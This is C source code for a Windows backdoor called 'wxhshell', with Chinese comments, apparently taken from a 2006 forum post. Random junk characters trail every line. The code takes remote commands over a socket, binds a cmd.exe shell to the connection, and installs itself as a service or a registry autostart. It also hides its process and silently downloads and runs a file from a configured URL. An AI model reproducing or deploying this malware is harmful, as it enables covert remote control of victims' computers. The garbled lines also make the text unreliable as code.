M\4pTcz{  
    switch(cmd[0]) { @Z9X^Y+u^h  
  qPle=6U[IL  
  // 帮助 MR$R#  
  case '?': { G i 1Jl"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d.wu   
    break; ~<[$.8*  
  } byALM  
  // 安装 H?-Byi  
  case 'i': { 8:*   
    if(Install()) (9gL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P`ZzrN  
    else }J=>nL'B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ \{L%y%a0  
    break; ybsQ[9_36  
    } C(N' +VV_  
  // 卸载 / =]h@m-`  
  case 'r': { SP}!v5.  
    if(Uninstall()) (>~:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `" BFvF#  
    else H&$L1CrdL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qUNK Dt  
    break; }le}Vuy\s  
    } Y~ku?/"6T  
  // 显示 wxhshell 所在路径 e:W]B)0/e  
  case 'p': { `^3N|76Y  
    char svExeFile[MAX_PATH]; '0\,waEu  
    strcpy(svExeFile,"\n\r"); Uk@du7P1k  
      strcat(svExeFile,ExeFile); ky2n%<0]  
        send(wsh,svExeFile,strlen(svExeFile),0); (2 nSZRB  
    break; EI+RF{IKh  
    } Ep>} S  
  // 重启 =rL%P~0wq  
  case 'b': { 0v7#vZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rV6&:\  
    if(Boot(REBOOT)) :#_Ne?\a@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?]%b!gQG  
    else { c5 ^CWk K  
    closesocket(wsh); FM{^ND9x  
    ExitThread(0); AvP$>Alc  
    } 3C[#_&_l  
    break; ~PaEhj&8  
    } /\7E&n:)2  
  // 关机 IKaa=r~  
  case 'd': { R y47Fze  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xxnvz  
    if(Boot(SHUTDOWN)) Jcy{ ~>@7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mVaWbR@HS  
    else { %:/@1r7o>  
    closesocket(wsh); H$D),s gv  
    ExitThread(0); <b JF&,  
    } :mYVHLmea  
    break; c{"=p8F_  
    } {J&[JA\   
  // 获取shell ;?{[vLHDL  
  case 's': { #uRj9|E7  
    CmdShell(wsh);  _'Jz+f.  
    closesocket(wsh); L0lqm0h  
    ExitThread(0); ( *&E~ g  
    break; RpmOg  
  } Py@/\V  
  // 退出 .z+S @s[O  
  case 'x': { -eE r|Gs)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;?h+8Z/{  
    CloseIt(wsh); K*!qt(D&  
    break; `;~A  
    } QsemN7B "<  
  // 离开 *F:)S"3_~e  
  case 'q': { u~pBMg ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MpNgp )%>  
    closesocket(wsh); 8-|| Nh  
    WSACleanup(); uM"_3je{W2  
    exit(1); DXI{ jalL  
    break; `erKHZ]S  
        } C@o8C%o  
  } #Sc9&DfX  
  } o=]\Jy  
MlKSjKl" !  
  // 提示信息 ^RI& `5g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  `1`Qu!  
} 969Y[XQ  
  } {P {h|+;  
7g7[a/Bts  
  return; GQH15_  
} .&i_~?1[N  
ln1!%B;  
// shell模块句柄 v\Y8+dD  
int CmdShell(SOCKET sock) zJ*(G_H  
{ 73p7]Uo  
STARTUPINFO si; ''Y'ZsQ;  
ZeroMemory(&si,sizeof(si)); `R!%k]$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L*#W?WMM v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VbI$#;:[7  
PROCESS_INFORMATION ProcessInfo; |Cm6RH$(  
char cmdline[]="cmd"; o#K*-jOfiH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \[9^,Q P  
  return 0; <B&vfKO^h  
} \1ncr4  
$P h#pM(  
// 自身启动模式 #E$*PAB  
int StartFromService(void) %,UTFuM`  
{ j 06 mky  
typedef struct V(5*Dn84  
{ %dwI;%0  
  DWORD ExitStatus; hLICu[LC?  
  DWORD PebBaseAddress; R wTzS;  
  DWORD AffinityMask; <kCOg8<y :  
  DWORD BasePriority; @P )2ZGG  
  ULONG UniqueProcessId; Di"Tv<RlQ  
  ULONG InheritedFromUniqueProcessId; koa-sy)#L  
}   PROCESS_BASIC_INFORMATION; yz<$?Gblz  
=5;tB  
PROCNTQSIP NtQueryInformationProcess; 5AbY 59  
XiM d|D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q?2Gw N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8-"D.b4  
]~:WGo=_  
  HANDLE             hProcess; QJy1j~9x  
  PROCESS_BASIC_INFORMATION pbi; 2,6~;R  
0N87G}Xu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mUNAA[0 L  
  if(NULL == hInst ) return 0; 9RPZj>ezjA  
;(-Wc9=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tc0(G~.N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $@HW|Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =D&XE*qkZ  
R>t?6HOcp  
  if (!NtQueryInformationProcess) return 0; Itz[%Dbiq9  
z2lT4SAv+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ea)=K'Pz  
  if(!hProcess) return 0; 7J ;\&q'  
/|p\l"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <U y $b4h  
M%YxhuT0  
  CloseHandle(hProcess); eiQ42x@Z  
IP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $ ~%w21?&  
if(hProcess==NULL) return 0; '2Lx>nByk  
m}(M{^\|  
HMODULE hMod; /Un\P   
char procName[255]; - -\eYVh[  
unsigned long cbNeeded; qjsEyro$-  
.lAPlJOO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TbD $lx3>  
V-(*{/^"  
  CloseHandle(hProcess); D}`MY\H  
t2Px?S?  
if(strstr(procName,"services")) return 1; // 以服务启动 TQtHU6  
%O$=%"D6  
  return 0; // 注册表启动 R"y xpw  
} ;$67GK  
AqAL)`#K  
// 主模块 h0 Xc=nj  
int StartWxhshell(LPSTR lpCmdLine) +G6 Ge;  
{ 0a2#36;_IK  
  SOCKET wsl; j 8)*'T  
BOOL val=TRUE; ,e^~(ITaq  
  int port=0; rJ{k1H>  
  struct sockaddr_in door; Z,DSTP\|  
8!{ }WLwb  
  if(wscfg.ws_autoins) Install(); u+O"c  
"rrw~  
port=atoi(lpCmdLine); vm7ag 7@O  
Rk-G| 52g  
if(port<=0) port=wscfg.ws_port; zE Ly1v\"  
A34O(fE  
  WSADATA data; -,Js2+QZ#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~z(0XKq0d  
'ka}x~EF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rd;E /:`5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *'*,mfk[  
  door.sin_family = AF_INET; ?O Puv5!pI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |~@yXc5a  
  door.sin_port = htons(port); P!SsMo6n  
V,% K"b=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IE3GZk+a~  
closesocket(wsl); v 8EI   
return 1; Nt;1&dwUb  
} (f2r4Io|}  
_F(Np\%_  
  if(listen(wsl,2) == INVALID_SOCKET) { ^ E_chx-e}  
closesocket(wsl); gC F9XKW  
return 1; u_}UU 2  
} K^",LCJA  
  Wxhshell(wsl); 53$;ZO3  
  WSACleanup(); N,Js8Z"  
G?,"AA;  
return 0; O)ose?Z  
AV4fN@BX  
} XSCcumde!  
@ M4m!;rM  
// 以NT服务方式启动 M~h.M PI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nly}ly Q/  
{ 9f/l"  
DWORD   status = 0; Z&4L///  
  DWORD   specificError = 0xfffffff; w5yX~8UzJ  
0|]d^bo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LqXVi80  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3<l}gB'S[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K,6{c^qf  
  serviceStatus.dwWin32ExitCode     = 0; v0TbQ  
  serviceStatus.dwServiceSpecificExitCode = 0; >oN Wf  
  serviceStatus.dwCheckPoint       = 0; }]M'f:%b  
  serviceStatus.dwWaitHint       = 0; \=P(?!v  
V(XZ7<& {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^G 'n z  
  if (hServiceStatusHandle==0) return; 4\ |/S@.  
z7z9lDS  
status = GetLastError(); ,@fx[5{  
  if (status!=NO_ERROR) } ,^p{J/  
{ t>OEzUd9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vL;>A]oM2  
    serviceStatus.dwCheckPoint       = 0; VT-%o7%N  
    serviceStatus.dwWaitHint       = 0; Dc* H:x;  
    serviceStatus.dwWin32ExitCode     = status; b@Dt]6_ UL  
    serviceStatus.dwServiceSpecificExitCode = specificError; cml~Oepf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k'*vG6!  
    return; ri-D#F)}  
  } *VH Wvj  
A^$xE6t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >JA>np  
  serviceStatus.dwCheckPoint       = 0; ujl ?!  
  serviceStatus.dwWaitHint       = 0; vRn]u57O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M]M>z>1*v  
} y\4/M6  
7SN61)[m  
// 处理NT服务事件,比如:启动、停止 acar-11_o/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L0I |V[  
{ <CJy3<$u  
switch(fdwControl) "',;pGg|K  
{ 7KGb2V<t  
case SERVICE_CONTROL_STOP: $-|$4lrS  
  serviceStatus.dwWin32ExitCode = 0; , Y,^vzX6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IlwHHt;njp  
  serviceStatus.dwCheckPoint   = 0;  ;q5|If  
  serviceStatus.dwWaitHint     = 0; H|7XfM  
  { *_d N9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4MTE?hT  
  } W8Wjq DQ  
  return; *>`6{0, 9  
case SERVICE_CONTROL_PAUSE: {; th~[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %!AzFL J|Z  
  break; Vugb;5Vl  
case SERVICE_CONTROL_CONTINUE: V rd16s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uix/O*^  
  break; kma>'P`G  
case SERVICE_CONTROL_INTERROGATE: ,L.V>Ae  
  break; _"OE}$C  
}; LE)$_i8gX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Kn@j D;  
} yTn<5T[H  
^16zZ*  
// 标准应用程序主函数 H:9G/Nev  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S{v]B_N[M  
{ RnU7|p{  
o2hk!#5[4  
// 获取操作系统版本 [clwmx  
OsIsNt=GetOsVer(); A|]#b?-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #_`q bIOAj  
eMdf [eS  
  // 从命令行安装 hSXJDT2  
  if(strpbrk(lpCmdLine,"iI")) Install(); K3UN#G)U  
|:Maa6(W  
  // 下载执行文件 0*9xau{(  
if(wscfg.ws_downexe) { ho B[L}<c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nz'6^D7`r  
  WinExec(wscfg.ws_filenam,SW_HIDE); G<$8g-O;D  
} D%LYQ  
,!LY:pMK  
if(!OsIsNt) { Mu-kvgO`L  
// 如果时win9x,隐藏进程并且设置为注册表启动 Owgy<@C  
HideProc(); w El-  
StartWxhshell(lpCmdLine); !*HJBZ]q  
} [)dIt@Y&j  
else ?E(X>tH  
  if(StartFromService()) F|R7hqf  
  // 以服务方式启动 <2]D3,.g.  
  StartServiceCtrlDispatcher(DispatchTable); _ WPt zL  
else $uJc/  
  // 普通方式启动 U 8p %MFD  
  StartWxhshell(lpCmdLine); =yM%#{t&W  
g oyQ',+  
return 0; lUA-ug! ^  
}
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只看该作者 1 发表于: 2006-10-10
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